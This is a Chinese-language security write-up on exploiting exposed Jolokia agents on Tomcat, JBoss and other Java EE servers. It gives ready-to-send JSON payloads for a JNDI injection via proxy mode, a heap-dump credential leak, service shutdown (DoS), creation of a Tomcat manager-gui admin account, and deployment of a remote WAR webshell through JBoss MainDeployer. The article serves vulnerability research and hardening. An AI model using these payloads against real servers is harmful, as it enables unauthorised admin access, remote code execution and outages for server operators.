Exploiting Jolokia Agent with Java EE Servers

0x00 - About Jolokia

Jolokia 是一个通过 HTTP 的 JMX 连接器，提供了类 RESTful 的操作方式，可以通过 POST JSON 的方式访问和修改 JMX 属性、执行 JMX 操作、搜索 MBean、列出 MBean 的 Meta-data 等。

Jolokia 支持提供了多种 Agents，包括 WAR Agent、OSGi Agent、JVM Agent 或者 Mule Agent。其中 WAR Agent 支持了多种 Web Server：

• JBoss 4.2.3, 5.1.0, 6.1.0, 7.0.2, 7.1.1, 8.0.0
• Oracle WebLogic 9.2.3.0, 10.0.2.0, 10.3.6.0
• Glassfish 2.1.1, 3.0.1, 3.1.2, 4.0.0
• IBM Websphere 6.1.0.33, 7.0.0.11, 8.0.0.1, 8.5
• Apache Tomcat 5.5.35, 6.0.37, 7.0.52, 8.0.3
• Jetty 5.1.15, 6.1.26, 7.6.9, 8.1.9, 9.1.2
• Resin 3.1.9
• Jonas 4.10.7, 5.1.1, 5.2.1
• Apache Geronimo 2.1.6, 2.2.1, 3.0.0
• Spring dm Server 2.0.0.RELEASE
• Eclipse Virgo 2.1.0

通过 Jolokia，可以方便的操作 MBean，通过 GET 的例子：

ricter@ricter-dev:~$ curl -s http://localhost:8080/jolokia/read/java.lang:type=Memory/HeapMemoryUsage | jq
{
  "request": {
    "mbean": "java.lang:type=Memory",
    "attribute": "HeapMemoryUsage",
    "type": "read"
  },
  "value": {
    "init": 94371840,
    "committed": 91226112,
    "max": 129761280,
    "used": 32536960
  },
  "timestamp": 1522138479,
  "status": 200
}

或者 POST 一个 JSON：

ricter@ricter-dev:~$ curl -s http://localhost:8080/jolokia/ --data '  {
>     "mbean":"java.lang:type=Memory",
>     "attribute":"HeapMemoryUsage",
>     "type":"READ"
>   }' | jq
{
  "request": {
    "mbean": "java.lang:type=Memory",
    "attribute": "HeapMemoryUsage",
    "type": "read"
  },
  "value": {
    "init": 94371840,
    "committed": 91226112,
    "max": 129761280,
    "used": 33277720
  },
  "timestamp": 1522138552,
  "status": 200
}

Jolokia 支持 READ、WRITE、SEARCH、EXEC、LIST 等操作，具体可以参考官方文档：Jolokia - Reference Documentation 。

0x01 - Jolokia Security Issues

1. JNDI Injection

Jolokia 支持一个叫做代理模式（Proxy Mode）的东西，是为了解决不能将 Jolokia Agent 部署在目标平台上的问题。具体架构如下：

可以通过向 Jolokia 发送 POST 请求来触发：

{
  "type":"READ"
  "mbean":"java.lang:type=Threading",
  "attribute":"ThreadCount",
  "target": {
    "url":"service:jmx:rmi:///jndi/rmi://hostname:1234/jmxrmi",
  }
}

熟悉 Java 安全的朋友可能会注意到，这里可能有一个 JNDI 注入。的确，在 WAR Agent 的情况下，此处存在一个 JNDI 注入，问题发生在 agent\jsr160\src\main\java\org\jolokia\jsr160\Jsr160RequestDispatcher.java：

public Object dispatchRequest(JmxRequest pJmxReq)
        throws InstanceNotFoundException, AttributeNotFoundException, ReflectionException, MBeanException, IOException, NotChangedException {

    JsonRequestHandler handler = requestHandlerManager.getRequestHandler(pJmxReq.getType());
    JMXConnector connector = null;
    try {
        connector = createConnector(pJmxReq);
        connector.connect();
        ....

当 Web Container 将请求的交由 Jsr160RequestDispatcher 处理时，Jolokia Agent 创建连接，导致 JNDI 注入。在 WAR Agent 里，默认是由 Jsr160RequestDispatcher 处理的，这一点在 web.xml 也有体现：

<servlet-name>jolokia-agent</servlet-name>
<servlet-class>org.jolokia.http.AgentServlet</servlet-class>
<init-param>
  <description>
    Class names (comma separated) of RequestDispatcher used in addition
    to the LocalRequestDispatcher
  </description>
  <param-name>dispatcherClasses</param-name>
  <param-value>org.jolokia.jsr160.Jsr160RequestDispatcher</param-value>
</init-param>

那么，攻击者只需发送一个带有 Evil JMXRMI 的地址的 JSON，即可利用 JNDI 在目标机器上执行命令。

2. Information Disclosure

Jolokia 中有一个默认注册的 MBean：com.sun.management:type=HotSpotDiagnostic ，这个 MBean 中存在 dumpHeap 方法，可以 dump 内存到指定的目录。同时在低版本的 Java 中（比如 1.8.0_11），导出的文件名可以设置任意名称，而非 .hprof 后缀。

下载后可以通过分析文件获取一些敏感信息：

如上图就获得了 Tomcat 管理员的账号密码，可以通过部署 WAR 文件的方式进行 getshell。

0x02 - Tomcat with Jolokia

1. DoS

部署了 Jolokia 后，可以访问 /jolokia/list 查看可用的 MBean，通过翻阅可以发现 Tomcat + Jolokia 的情况下存在一些敏感操作，比如关闭服务：

{
    "type": "EXEC",
    "mbean": "Catalina:type=Service",
    "operation": "stop",
    "arguments": []
}

这样会造成 DoS，虽然没啥用。

2. Create Admin Account

问题在 User:database=UserDatabase,type=UserDatabase 下，其包括了 createRole、createUser 等操作，攻击流程为：

// 创建 manager-gui
{
    "type": "EXEC",
    "mbean": "Users:database=UserDatabase,type=UserDatabase",
    "operation": "createRole",
    "arguments": ["manager-gui", ""]
}
// 创建用户
{
    "type": "EXEC",
    "mbean": "Users:database=UserDatabase,type=UserDatabase",
    "operation": "createUser",
    "arguments": ["test233", "test233", ""]
}
// 增加角色
{
    "type": "EXEC",
    "mbean": "Users:database=UserDatabase,type=User,username=\"test233\"",
    "operation": "addRole",
    "arguments": ["manager-gui"]
}

接着利用 test233 / test233 登陆即可。

0x03 - JBoss with Jolokia

1. DoS

关闭服务：

{
    "type": "EXEC",
    "mbean": "jboss.web.deployment:war=/ROOT",
    "operation": "stop",
    "arguments": []
}

1. Deploy WAR

JBoss 中，通过 JMX Console 部署 WAR 是最为人所知的，JBoss 中的 jboss.system:service=MainDeployer 提供了这个方法。由于此方法是重载的，所以需要指定一个 signature，也就是下图的deploy(java.lang.String)：

{
    "type": "EXEC",
    "mbean": "jboss.system:service=MainDeployer",
    "operation": "deploy(java.lang.String)",
    "arguments": ["http://127.0.0.1:1235/test.war"]
}

接着通过访问 /test 即可进入 webshell。

0x04 Others

Weblogic 暴露出很多 MBean，但是有一些方法存在限制：

weblogic.management.NoAccessRuntimeException: Access not allowed for subject: principals=[], on ResourceType: WLDFImageRuntime Action: execute, Target: captureImage

可能会有其他的 MBean 可以进行操作，但是由于 MBean 繁多，没有太多精力去看。Jetty 没有暴露什么 MBean，所以暂时没有什么方法。ActiveMQ 有一些 MBean，粗略看了下没有发现什么问题，如果大家发现了，可以多多交流。

0x05 Reference

• https://jolokia.org/reference/html/index.html
• https://www.cvedetails.com/cve/CVE-2018-1000130/

写在最后：Jolokia 可以暴露出更多的攻击面，通过这些攻击面进行操作来获取更高的权限，本文仅仅分析了部分 Java EE Servers 所呈现出来的 MBean，但是由于 Jolokia 支持多种 Agent，所以暴露出的东西不止如此。

此外，这次分析仅仅是在业务层面上进行分析，没有跟进到源码层面。可能会有如下情况：某个 MBean 进行了 JNDI lookup，或者远程下载文件保存在本地，反序列化某一些内容等等，通过 Jolokia 进行操作可以二次利用这些问题来 RCE。这就需要具体情况具体分析了，本文如有错误，欢迎指正 :D